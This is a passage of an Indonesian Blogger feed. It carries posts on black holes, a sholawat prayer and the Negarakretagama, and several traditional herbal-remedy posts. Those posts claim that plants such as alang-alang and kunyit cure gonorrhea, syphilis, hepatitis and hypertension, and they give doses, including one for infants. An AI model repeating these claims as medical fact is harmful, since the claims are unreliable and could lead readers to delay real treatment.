kepada  Reuters di Washington. Para ilmuwan pun mulai melebarkan pencarian  terhadap putaran gas di sekitar tepi-tepi jurang ketiadaan ini, layaknya  mencari pusaran air.&lt;br /&gt;Pencarian lubang hitam dan kebenaran teori-teori yang mendukungnya  memang masih terus dilakukan para ahli, seiring makin majunya teknologi  dan ilmu pengetahuan. Pertanyaan kemudian, bila lubang hitam bertebaran  di kosmis, apakah nanti pada saat kiamat, monster ini pula yang akan  melenyapkan benda-benda jagat raya?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-8000357057675710207?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8000357057675710207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8000357057675710207'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/black-hole.html' title='black hole'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lcn1O_24jBE/TPIpx3Awu9I/AAAAAAAAASE/3k-yFgvzYGc/s72-c/blakhple.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-5948949236367859821</id><published>2010-11-28T14:49:00.000+07:00</published><updated>2010-11-28T14:49:05.689+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kajian islam'/><title type='text'>sholawat tarhim</title><content type='html'>&lt;div class="deleteBody"&gt;&lt;h2 class="postTitle" style="color: #666666;"&gt;sholawat&lt;/h2&gt;&lt;div class="postBody" style="color: #777777;"&gt;Ash-shalâtu was-salâmu ‘alâyk&lt;br /&gt;Yâ imâmal mujâhidîn yâ Rasûlallâh&lt;br /&gt;Ash-shalâtu was-salâmu ‘alâyk&lt;br /&gt;Yâ nâshiral hudâ yâ khayra khalqillâh&lt;br /&gt;Ash-shalâtu was-salâmu ‘alâyk&lt;br /&gt;Yâ nâshiral haqqi yâ Rasûlallâh&lt;br /&gt;Ash-shalâtu was-salâmu ‘alâyk&lt;br /&gt;Yâ Man asrâ bikal muhayminu laylan nilta mâ nilta wal-anâmu niyâmu&lt;br /&gt;Wa taqaddamta lish-shalâti fashallâ kulu man fis-samâi wa antal imâmu&lt;br /&gt;Wa ilal muntahâ rufi’ta karîman&lt;br /&gt;Wa ilal muntahâ rufi’ta karîman wa sai’tan nidâ ‘alaykas salâm&lt;br /&gt;Yâ karîmal akhlâq yâ Rasûlallâh&lt;br /&gt;Shallallâhu ‘alayka wa ‘alâ âlika wa ashhâbika ajma’în&lt;br /&gt;&lt;br /&gt;Artinya :&lt;br /&gt;&lt;br /&gt;Shalawat dan salam semoga tercurahkan padamu&lt;br /&gt;duhai pemimpin para pejuang, ya Rasulullah&lt;br /&gt;Shalawat dan salam semoga tercurahkan padamu&lt;br /&gt;duhai penuntun petunjuk Ilahi, duhai makhluk yang terbaik&lt;br /&gt;Shalawat dan salam semoga tercurahkan atasmu&lt;br /&gt;Duhai penolong kebenaran, ya Rasulullah&lt;br /&gt;Shalawat dan salam semoga tercurahkan padamu&lt;br /&gt;Wahai Yang Memperjalankanmu di malam hari Dialah Yang Maha Melindungi&lt;br /&gt;Engkau memperoleh apa yang kau peroleh sementara semua manusia tidur&lt;br /&gt;Semua penghuni langit melakukan shalat di belakangmu&lt;br /&gt;dan engkau menjadi imam&lt;br /&gt;Engkau diberangkatkan ke Sitratul Muntaha karena kemulianmu&lt;br /&gt;dan engkau mendengar suara ucapan salam atasmu&lt;br /&gt;Duhai yang paling mulia akhlaknya, ya Rasulullah&lt;br /&gt;Semoga shalawat selalu tercurahkan padamu, pada keluargamu dan sahabatmu.&lt;/div&gt;&lt;/div&gt;&lt;input name="security_token" type="hidden" value="AOuZoY5FFwuXHUVQ7av_Jqb-leo0KLUX9g:1290930493398" /&gt;&lt;input name="postID" type="hidden" value="9104449878130091521" /&gt; &lt;input name="blogID" type="hidden" value="475282690325446417" /&gt;  &lt;div class="errorbox-good"&gt;&lt;input name="securityToken" type="hidden" value="00xArEu8Ok_efKqD_LFA73Jjx0A:1290930493458" /&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-5948949236367859821?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5948949236367859821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5948949236367859821'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/sholawat-tarhim.html' title='sholawat tarhim'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-479927870092072141</id><published>2010-11-28T14:47:00.000+07:00</published><updated>2010-11-28T14:47:07.364+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>manfaat alang alang/ilalang</title><content type='html'>&lt;div class="deleteBody"&gt;&lt;h2 class="postTitle" style="color: #666666;"&gt;manfaat alang alang/ilalang&lt;/h2&gt;&lt;div class="postBody" style="color: #777777;"&gt;Alang-alang  (Imperata cylindrical (L.) Beauv.var.mayor ), Perawakan: herba, rumput,  merayap, tinggi 30-180 cm. Batang: rimpang, merayap di bawah tanah,  batang tegak membentuk satu perbungaan, padat, pada bukunya berambut  jarang. Daun: tunggal, pangkal saling menutup, helaian; berbentuk pita,  ujung runcing tajam, tegak, kasar, berambut jarang, ukuran 12-80 cm. x  35-18 cm. Bunga: susunan majemuk bulir majemuk, agak menguncup, panjang  6-28 cm, setiap cabang memiliki 2 bulir,   Famili : Gramineae atau  Poaceae&lt;br /&gt;&lt;br /&gt;Alang-alang (Imperata cylindrical (L.) Beauv.var.mayor ), Perawakan:  herba, rumput, merayap, tinggi 30-180 cm. Batang: rimpang, merayap di  bawah tanah, batang tegak membentuk satu perbungaan, padat, pada bukunya  berambut jarang. Daun: tunggal, pangkal saling menutup, helaian;  berbentuk pita, ujung runcing tajam, tegak, kasar, berambut jarang,  ukuran 12-80 cm. x 35-18 cm. Bunga: susunan majemuk bulir majemuk, agak  menguncup, panjang 6-28 cm, setiap cabang memiliki 2 bulir, cabang 2,5-5  cm, tangkai bunga 1-3 mm, gluma 1; ujung bersilia, 3-6 urat, Lemma 1  (sekam); bulat telur melebar, silia pendek 1,5-2,5 mm. Lemma 2 (sekam);  memanjang, runcing 0,5-2,5 mm. Palea (sekam); 0,75-2 mm. Benang sari:  kepala sari 2,5-3,5 mm, putih kekuningan atau ungu. Putik: kepala putik  berbentuk bulu ayam. Buah: tipe padi. Biji: berbentuk jorong, panjang 1  mm lebih. Waktu berbunga : Januari - Desember. Daerah distribusi,  Habitat dan Budidaya: Di Jawa tumbuh pada ketinggian sampai dengan 2700 m  dpl, pada daerah-daerah terbuka atau setengah tertutup; rawa-rawa; pada  tanah dengan aerasi yang baik; pada daerah-daerah yang habis dibuka; di  tepi sungai; ekstensif pada hutan sekunder; daerah bekas terbakar;  sebagai gulma di perladangan; taman dan perkebunan. Tumbuhan ini dapat  mempengaruhi tanaman kultivasi lain, karena kebutuhan natrium yang  relatif tinggi. Perbanyakan: berkembang biak dengan sendirinya. Setiap  saat rimpang dipanen dari tumbuhan yang telah matang. Rimpang yang baik  berwarna pucat, berasa manis dan sejuk. Alang-alang dapat menyebabkan  penurunan pH tanah. Besarnya penurunan pH dan hambatan terhadap proses  nitrifikasi menunjukkan adanya korelasi positif dengan pertumbuhan  alang-alang&lt;br /&gt;&lt;br /&gt;Bagian yang digunakan untuk obat medis adalah akarnya. Kenyataannya,  akarnya dapat digunakan untuk menurunkan temperatur, melancarkan urin,  menghentikan pendarahan, dan sebagai obat untuk pendarahan pada hidung,  memuntahkan darah, gonorea (kencing nanah), hepatitis, infeksi ginjal.  Penelitian menemukan bahwa alang-alang mengandung mannitol, glukosa,  asam malic, asam sitrat, coixol, arundoin, silindrin, fernerol,  simiarenol, anemonin, esin, alkali, saponin, taninin, dan polifenol.&lt;br /&gt;&lt;br /&gt;NAMA DAERAH: Naleueng lakoe (Aceh); Jih (Gayo); Rih, Ri (Batak); Oo  (Nias); Alalang, Hilalang, Ilalang (Minang kabau); Lioh (Lampung);  Halalang, Tingen, Padang, Tingan, Puang, Buhang, Belalang, Bolalang  (Dayak); Eurih (Sunda); Alang-alang kambengan (Jawa); Kebut, Lalang  (Madura); Ambengan, Lalang (BaIi); Kii, Rii (FIores); Padengo, Padanga  (Gorontalo); Deya (Bugis); Erer, Muis, Wen (Seram); Weli, Welia, Wed  (Ambon). NAMA ASING: Cogon grass, satintail (En). Paillotte (Fr).  Malaysia: lalang, alang-alang. Papua New Guinea: kunai (Pidgin),  kurukuru (Barakau, Central Province). Philippines: kogon (Tagalog),  gogon (Bikol), bulum (Ifugao). Burma (Myanmar): kyet-mei. Cambodia:  sbö’:w. Laos: hnha:z kh’a:. Thailand: ya-kha, laa laeng, koe hee (Karen,  Mae Hong Son). Vietnam: c [or] tranh. NAMA SIMPLISIA Imperatae Rhizoma;  rimpang alang-alang&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Efek Farmakologis : Rasa manis dan sifat sejuk, anti piretik (penurunan  panas), diuretik (peluruh kemih), hemostatik (menghentikan perdarahan),  masuk median paru-paru, lambung dan usus kecil.&lt;br /&gt;&lt;br /&gt;Komposisi :&lt;br /&gt;Akar: metabolit yang telah ditemukan pada akar alang-alang terdiri dari  arundoin, fernenol, isoarborinol, silindrin, simiarenol, kampesterol,  stigmasterol, ß-sitosterol, skopoletin, skopolin,  p-hidroksibenzaladehida, katekol, asam klorogenat, asam isoklorogenat,  asam p-kumarat, asam neoklorogenat, asam asetat, asam oksalat, asam  d-malat, asam sitrat, potassium (0,75% dari berat kering), sejumlah  besar kalsium dan 5-hidroksitriptamin. Dari hasil penelitian lain  terhadap akar dan daun ditemukan 5 macam turunan flavonoid yaitu turunan  3′,4′,7-trihidroksi flavon, 2′,3′-dihidroksi kalkon dan 6-hidroksi  flavanol. Suatu turunan flavonoid yang kemungkinan termasuk golongan  flavon, flavonol tersubstitusi pada 3-0H, flavanon atau isoflavon  terdapat pada fraksi ekstrak yang larut dalam etilasetat akar  alang-alang. Pada fraksi ekstrak yang larut dalam air akar alang-alang  ditemukan golongan senyawa flavon tanpa gugus OH bebas, flavon, flavonol  tersubstitusi pada 3-0H, flavanon, atau isoflavon.&lt;br /&gt;&lt;br /&gt;Bagian tanaman yang digunakan : Akar, rimpang (daun) dan bunga. dapat digunakan yang segar atau yang dikeringkan.&lt;br /&gt;&lt;br /&gt;Cara budidaya :&lt;br /&gt;Perbanyakan dengan rimpang atau akar tinggal. Tanaman ini sangat mudah  tumbuh dan terdapat dimana-mana disekitar kita. Merupakan tumbuhan liar  dan menjurus sebagai gulma. Tumbuh liar di pinggir jalan, di ladang dan  di hutan. Tumbuhan ini termasuk terna menahun, tinggi dapat mencapai 180  cm. Batang padat, buku berambut jarang. Daun berbentuk pita, berwarna  hijau, permukaan daun kasar. Perbungaan berupa bulir, warna putih, bunga  yang terletak di bagian atas adalah bunga sempurna dan yang terletak di  bawah adalah bunga mandul. Bunga mudah diterbangkan oleh angin.&lt;br /&gt;&lt;br /&gt;Rimpang: pelembut kulit; peluruh air seni, pembersih darah, penambah  nafsu makan, penghenti perdarahan. di samping itu dapat digunakan pula  dalam upaya pengobatan penyakit kelamin (kencing nanah, kencing darah,  raja singa), penyakit ginjal, luka, demam, tekanan darah tinggi dan  penyakit syaraf. Semua bagian tumbuhan digunakan sebagai pakan  hewan,bahan kertas,dan untuk pengobatan kurap. EFEK BIOLOGI dan  FARMAKOLOGI Infusa rimpang alang-alang berefek sebagai diuretika, atas  dasar peningkatan konsentrasi elektrolit (Na,K,Cl) urin tikus putih  jantan. Pemberian infusa akar alang-alang dengan dosis 40, 50, 60, 70  g/kgBB berefek antipiretik pada marmot. Infusa bunga alang-alang pada  konsentrasi 10% dengan dosis 12 ml/ kgBB berefek antipiretik yang  relatif sama dengan suspensi parasetamol 10% pada merpati. Uji Klinik:  Dekokta akar alang-alang dengan dosis 250-300 g, 2 kali pagi dan sore  dapat menyembuhkan 27 kasus dari 30 penderita nefritis akut. Pada  nefritis kronis, herba alang-alang dapat mengurangi edema dan menurunkan  tekanan darah. Dekokta herba 250 g dalam bentuk tunggal maupun  dikombinasikan dengan rimpang dan daun Nelumbo nucifera dan daun  Agrimonia pilosa dapat mengobati epistaksis (mimisan), hemoptisis (batuk  darah), hematuri (kencing darah), menorrhagia, dan perdarahan  gastrointestinal bagian atas. Di samping itu dilaporkan juga bahwa  dekokta akar alang-alang dapat efektif untuk pengobatan hepatitis viral  akut pada 28 kasus; biasanya digunakan bersama-sama dengan Plantago  asiatica, Glechoma longituba dan tunas Artemisia capillaris. Toksisitas:  Pada pemakaian sesuai aturan, praktis tidak toksik. Efek yang tidak  dfinginkan: Pusing, mual, adanya peningkatan rasa ingin buang air besar,  kadang-kadang terjadi pada penggunaan klinik. Teknologi Farmasi:  Selulosa daun alang-alang mempunyai daya serap terhadap air yang relatif  cukup baik dalam pembuatan tablet secara cetak langsung.&lt;br /&gt;&lt;br /&gt;Resep tradisional:&lt;br /&gt;&lt;br /&gt;Infeksi Saluran Kemih dan Kencing Sedikit&lt;br /&gt;&lt;br /&gt;Bila menderita infeksi pada saluran kemih, sebaiknya segera diperiksakan  pada dokter. Ramuan ini dapat digunakan sebagai obat alternatif  disamping pengobatan dari dokter.&lt;br /&gt;Ramuan:&lt;br /&gt;Rimpang Alang-alang 6 gram&lt;br /&gt;Rimpang Kunci pepet 5 gram&lt;br /&gt;Daun Kumis kucing 4 gram&lt;br /&gt;Air 115 ml&lt;br /&gt;&lt;br /&gt;Cara pembuatan:&lt;br /&gt;Diseduh, dibuat infus atau pil.&lt;br /&gt;&lt;br /&gt;Cara pernakaian:&lt;br /&gt;Diminum 1 kali sehari, tiap kali minum 100 ml.&lt;br /&gt;Untuk yang berbentuk pil diminum 3 kali sehari 9 pil.&lt;br /&gt;&lt;br /&gt;Lama pengobatan:&lt;br /&gt;Diulang selama 14 hari.&lt;br /&gt;&lt;br /&gt;Mimisan, Kencing Darah, dan Muntah Darah.&lt;br /&gt;Bila menderita kencing darah atau muntah darah, sebaiknya segera  diperiksakan pada dokter. Ramuan ini dapat digunakan sebagai obat  alternatif disamping pengobatan dari dokter.&lt;br /&gt;&lt;br /&gt;Ramuan:&lt;br /&gt;Rimpang Alang-alang 6 gram&lt;br /&gt;Daun sendok segar 6 gram&lt;br /&gt;Daun Andong segar 2 helai&lt;br /&gt;Air 110 ml&lt;br /&gt;&lt;br /&gt;Cara pembuatan:&lt;br /&gt;Diseduh, dipipis, dibuat infus atau pil.&lt;br /&gt;&lt;br /&gt;Cara pemakaian:&lt;br /&gt;Diminum 2 kali sehari, pagi dan sore, tiap kali minum 100 ml. (untuk  infus). Untuk pipisan diminum 2 kali sehari, pagi dan sore, tiap kali  minum 1/4 cangkir. Untuk pil diminum 3 kali sehari 9 pil.&lt;br /&gt;&lt;br /&gt;Lama pengobatan:&lt;br /&gt;Diulang sampai sembuh.&lt;/div&gt;&lt;/div&gt;&lt;input name="security_token" type="hidden" value="AOuZoY5eCiXRIuNRdJgwbM-v0yX3CPcK7Q:1290930357472" /&gt;&lt;input name="postID" type="hidden" value="64117606214362546" /&gt; &lt;input name="blogID" type="hidden" value="475282690325446417" /&gt;  &lt;div class="errorbox-good"&gt;&lt;input name="securityToken" type="hidden" value="hxEuqYD7P8-IyfInIVptDA9zwro:1290930357503" /&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-479927870092072141?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/479927870092072141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/479927870092072141'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/manfaat-alang-alangilalang_28.html' title='manfaat alang alang/ilalang'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-9099508211007281049</id><published>2010-11-28T14:45:00.002+07:00</published><updated>2010-11-28T14:45:34.725+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>manfaat bayam</title><content type='html'>&lt;div class="deleteBody"&gt;&lt;h2 class="postTitle" style="color: #666666;"&gt;manfaat bayam&lt;/h2&gt;&lt;div class="postBody" style="color: #777777;"&gt;Deskripsi  tanaman: Semak, berbatang tegak, bentuk bulat, warna hijau kekuningan.  Daun tunggal, berseling, bentuk lanset, tepi rata, ujung runcing,  pangkal tumpul, warna hijau muda sampai hijau kekuningan. Perbungaan  bentuk malai, melekat di ketiak daun, kelopak berbagi lima, mahkota  bunga berwarna hijau keunguan. Buah batu, biji bulat, mengkilat, warna  coklat kehitaman&lt;br /&gt;Nama latin: Amarantus Spec div&lt;br /&gt;&lt;br /&gt;Nama daerah: Arum; Baya; Hayum; Jagur; Tarnak; Nadu&lt;br /&gt;&lt;br /&gt;Deskripsi tanaman: Semak, berbatang tegak, bentuk bulat, warna hijau  kekuningan. Daun tunggal, berseling, bentuk lanset, tepi rata, ujung  runcing, pangkal tumpul, warna hijau muda sampai hijau kekuningan.  Perbungaan bentuk malai, melekat di ketiak daun, kelopak berbagi lima,  mahkota bunga berwarna hijau keunguan. Buah batu, biji bulat, mengkilat,  warna coklat kehitaman&lt;br /&gt;&lt;br /&gt;Habitat: Tumbuh liar dan sebagai tanaman budidaya, sebagai sayuran pada tanah lembab pada dataran rendah hingga 900 m dpl&lt;br /&gt;&lt;br /&gt;Bagian tanaman yang digunakan: Daun&lt;br /&gt;&lt;br /&gt;Kandungan kimia: Protein; Lemak; Karbohidrat; Kalium; Zat besi; Amarantin; Rutin; Purin; Vitamin A,B dan C&lt;br /&gt;&lt;br /&gt;Khasiat: Antipiretik; Sudorifik; Diuretik&lt;br /&gt;&lt;br /&gt;Nama simplesia: Amaranthi Folium&lt;br /&gt;&lt;br /&gt;Resep tradisional:&lt;br /&gt;&lt;br /&gt;Menguatkan hati:&lt;br /&gt;&lt;br /&gt;Daun bayam 9 lembar; Air 300 ml, Direbus sampai mendidih, Dimakan sebagai sayuran 3 kali sehari.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Boroco (Celosia argentea Linn.)&lt;br /&gt;&lt;br /&gt;Nama Lokal Bayam ekor belanda, Bayam kucing, Kuntha, Baya kasubiki; Qing xiang zi (China).;&lt;br /&gt;Deskripsi Tumbuh tegak, tinggi 30 - 100 cm. Tumbuh liar di sisi jalan,  pinggir selokan, tanah lapang yang terlantar. Batang bulat dengan alur  kasar memanjang, bercabang banyak, warna hijau atau merah. Daun ada yang  wama hijau dan ada yang warna merah, bentuk bulat telur memanjang,  ujung lancip, pinggir bergerigi halus hampir rata. Bunga bentuk bulir  panjang 3 10 cm, warna merah muda/ungu, biji hitam agak cerah, bunga  tumbuh di ujung-ujung cabang.&lt;br /&gt;Untuk Penyakit Radang mata, Hipertensi, Muntah darah, Keputihan, Disentri; Obat cuci mata, Infeksi saluran kencing;&lt;br /&gt;Pemanfaatan BAGIAN YANG DIPAKAI:&lt;br /&gt;Biji, bunga dan seluruh tanaman, keringkan di bawah sinar matahari untuk disimpan.&lt;br /&gt;&lt;br /&gt;KEGUNAAN:&lt;br /&gt;Biji : - Infeksi mata = mata merah (Acute conjunctivitis).&lt;br /&gt;- Radang kornea mata (Keratitis)&lt;br /&gt;- Infeksi dalam mata (Chronic uveitis)&lt;br /&gt;- Tekanan darah tinggi (Hipertensi).&lt;br /&gt;&lt;br /&gt;Bunga : - Muntah darah (Hematemesis)&lt;br /&gt;- Keputihan (Leucorrhoe)&lt;br /&gt;- Obat cuci mata.&lt;br /&gt;&lt;br /&gt;Seluruh tumbuhan : - Buang air besar lendir dan darah (Disentri)&lt;br /&gt;- Infeksi saluran kencing (Urinary tract.&lt;br /&gt;infection)&lt;br /&gt;&lt;br /&gt;PEMAKAIAN:&lt;br /&gt;Biji : 10 - 30 gram&lt;br /&gt;bunga : 30 - 60 gram. ... direbus.&lt;br /&gt;Seluruh tumbuhan : 30 - 60 gram.&lt;br /&gt;&lt;br /&gt;CARA PEMAKAIAN:&lt;br /&gt;1. Keratitis:&lt;br /&gt;Biji boroco 15 gram, hati ayam secukupnya direbus, dimakan.&lt;br /&gt;&lt;br /&gt;2. Hipertensi:&lt;br /&gt;Biji boroco 30 gram, 1 gelas air rebus menjadi 1/2 gelas air, dibagi&lt;br /&gt;menjadi 2 (dua) kali minum.&lt;br /&gt;&lt;br /&gt;3. Muntah darah:&lt;br /&gt;Bunga boroco segar 30 - 60 gram ditambah daging secukupnya&lt;br /&gt;rebus menjadi soup, makan.&lt;br /&gt;&lt;br /&gt;4. Sebagai obat luar:&lt;br /&gt;Bunga direbus, airnya untuk cuci mata (setelah disaring dengan&lt;br /&gt;kertas saring/kapas).&lt;br /&gt;&lt;br /&gt;5. Keputihan:&lt;br /&gt;60 gram bunga ditambah 60 gram daging, direbus, minum air dan&lt;br /&gt;dagingnya.&lt;br /&gt;&lt;br /&gt;PERHATIAN :&lt;br /&gt;CONTRA INDIKASI pada tekanan bola mata yang meninggi (Glaucoma).&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-9099508211007281049?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/9099508211007281049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/9099508211007281049'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/manfaat-bayam_28.html' title='manfaat bayam'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-2111004285120642370</id><published>2010-11-28T14:44:00.000+07:00</published><updated>2010-11-28T14:44:09.903+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='herbal dan rempah'/><title type='text'>manfaat kunyit</title><content type='html'>&lt;div class="deleteBody"&gt;&lt;h2 class="postTitle" style="color: #666666;"&gt;manfaat kunyit&lt;/h2&gt;&lt;div class="postBody" style="color: #777777;"&gt;Nama latin: Curcuma domestica&lt;br /&gt;&lt;br /&gt;Nama daerah: Kunir; Kunyir; Koneng; Kunyet; Kuning; Kuneh&lt;br /&gt;&lt;br /&gt;Deskripsi tanaman: Tumbuhan berbatang basah, tingginya sampai 0,75 m,  daunnya berbentuk lonjong, bunga majemuk berwarna merah atau merah muda.  Tanaman herba tahunan ini menghasilkan umbi utama berbentuk rimpang  berwarna kuning tua atau jingga terang. Perbanyakannya dengan anakan&lt;br /&gt;KUNYIT&lt;br /&gt;&lt;br /&gt;Nama latin: Curcuma domestica&lt;br /&gt;&lt;br /&gt;Nama daerah: Kunir; Kunyir; Koneng; Kunyet; Kuning; Kuneh&lt;br /&gt;&lt;br /&gt;Deskripsi tanaman: Tumbuhan berbatang basah, tingginya sampai 0,75 m,  daunnya berbentuk lonjong, bunga majemuk berwarna merah atau merah muda.  Tanaman herba tahunan ini menghasilkan umbi utama berbentuk rimpang  berwarna kuning tua atau jingga terang. Perbanyakannya dengan anakan&lt;br /&gt;&lt;br /&gt;Habitat: Tumbuh di ladang dan di hutan, terutama di hutan jati. Banyak  juga ditanam di perkarangan. dapat tumbuh di dataran rendah sampai  ketinggian 2000 m dpl&lt;br /&gt;&lt;br /&gt;Bagian tanaman yang digunakan: Rimpang&lt;br /&gt;&lt;br /&gt;Kandungan kimia: Tumeron; Zingiberon; Seskuiterpena alkohol; Kurkumin; Zat pahit; Lemak hars; Vitamin C&lt;br /&gt;&lt;br /&gt;Khasiat: Kholagog; Stomakik; Antispasmodik; Anti inflamasi; Anti bakteria; Kholeretik&lt;br /&gt;&lt;br /&gt;Nama simplesia: Curcumae domesticae Rhizoma&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resep tradisional:&lt;br /&gt;Luka dan kurap&lt;br /&gt;Rimpang kunyit 1 jari; Daun asam 1 genggam; Air sedikit, Dipipis, Tempelkan pada luka dan diganti setiap 3 jam&lt;br /&gt;&lt;br /&gt;Mencret&lt;br /&gt;Rimpang kunyit 1/2 jari; Rasuk angin 1/2 sendok teh; Ketumbar 3 biji;  Buah kayu ules 1 biji; daun trawas 1 helai, Campuran ditumbuk; ditambah  air 115 ml dan dididihkan; kemudian disaring, Diminum pagi dan sore;  tiap kali minum 100 ml&lt;br /&gt;&lt;br /&gt;Nyeri haid&lt;br /&gt;Rimpang kunyit 1 jari; Ketumbar 7 butir; Cengkih 1 butir; Asam kawak;  Biji pala, Campuran ditumbuk; ditambah air 110 ml; dan dididihkan;  kemudian disaring, Diminum 1 kali sehari 100 ml&lt;br /&gt;&lt;br /&gt;Sakit perut&lt;br /&gt;Kunyit dibakar 1 jari; Kulit batang pulosari 1 jari; Ketumbar 7 biji;  Seluruh tanaman patikan cina 1 genggam; Air 1 cangkir, Campuran  ditumbuk; ditambah air dan dididihkan sampai diperoleh secangkir;  disaring, Bayi umur 5-7 bulan; 1 sendok teh/jam; Anak umur 1-2 tahun;  diminum 2 kali sehari; 2 sendok makan; Dewasa; sehari minum 3 kali; 1/2  cangkir&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-2111004285120642370?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2111004285120642370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2111004285120642370'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/manfaat-kunyit_28.html' title='manfaat kunyit'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-8884464020331032289</id><published>2010-11-27T14:50:00.001+07:00</published><updated>2010-11-27T14:50:24.715+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>Terjemah naskah negarakretagama 1-42</title><content type='html'>&lt;strong&gt;Pupuh 1&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Om! Sembah pujiku orang hina ke bawah telapak kaki pelindung  jagat. Siwa-Budha Janma-Bhatara senantiasa tenang tenggelam dalam  samadi. Sang Sri Prawatanata, pelindung para miskin, raja adiraja di  dunia. Dewa-Bhatara, lebih khayal dari yang khayal, tapi tampak di atas  tanah.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Merata serta meresapi segala makhluq, nirguna bagi kaum  Wisnawa. Iswara bagi Yogi, Purusa bagi Kapila, Hartawan bagi Jambala.  Wagindra dalam segala ilmu, Dewa Asmara di dalam cinta berahi. Dewa Yama  di dalam menghilangkan penghalang dan menjamin damai dunia.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Begitulah pujian pujangga penggubah sejarah, kepada Sri Nata  Rajasanagara, Sri Nata Wilwatikta yang sedang memegang tampuk Negara  bagai titisan Dewa-Bhatara beliau menyapu duka rakyat semua. Tunduk  setia segenap bumi Jawa, bahkan malah seluruh Nusantara.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tahun Saka masa memanah surya (1256) beliau lahir untuk jadi  narpati. Selama dalam kandungan di Kahuripan, telah tampak tanda  keluhuran Gempa bumi, kepul asap, hujan abu, guruh halilintar  menyambar-nyambar. Gunung meletus, gemuruh membunuh durjana, penjahat  musnah dari Negara.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Itulah tanda bahwa Bhatara Girinata 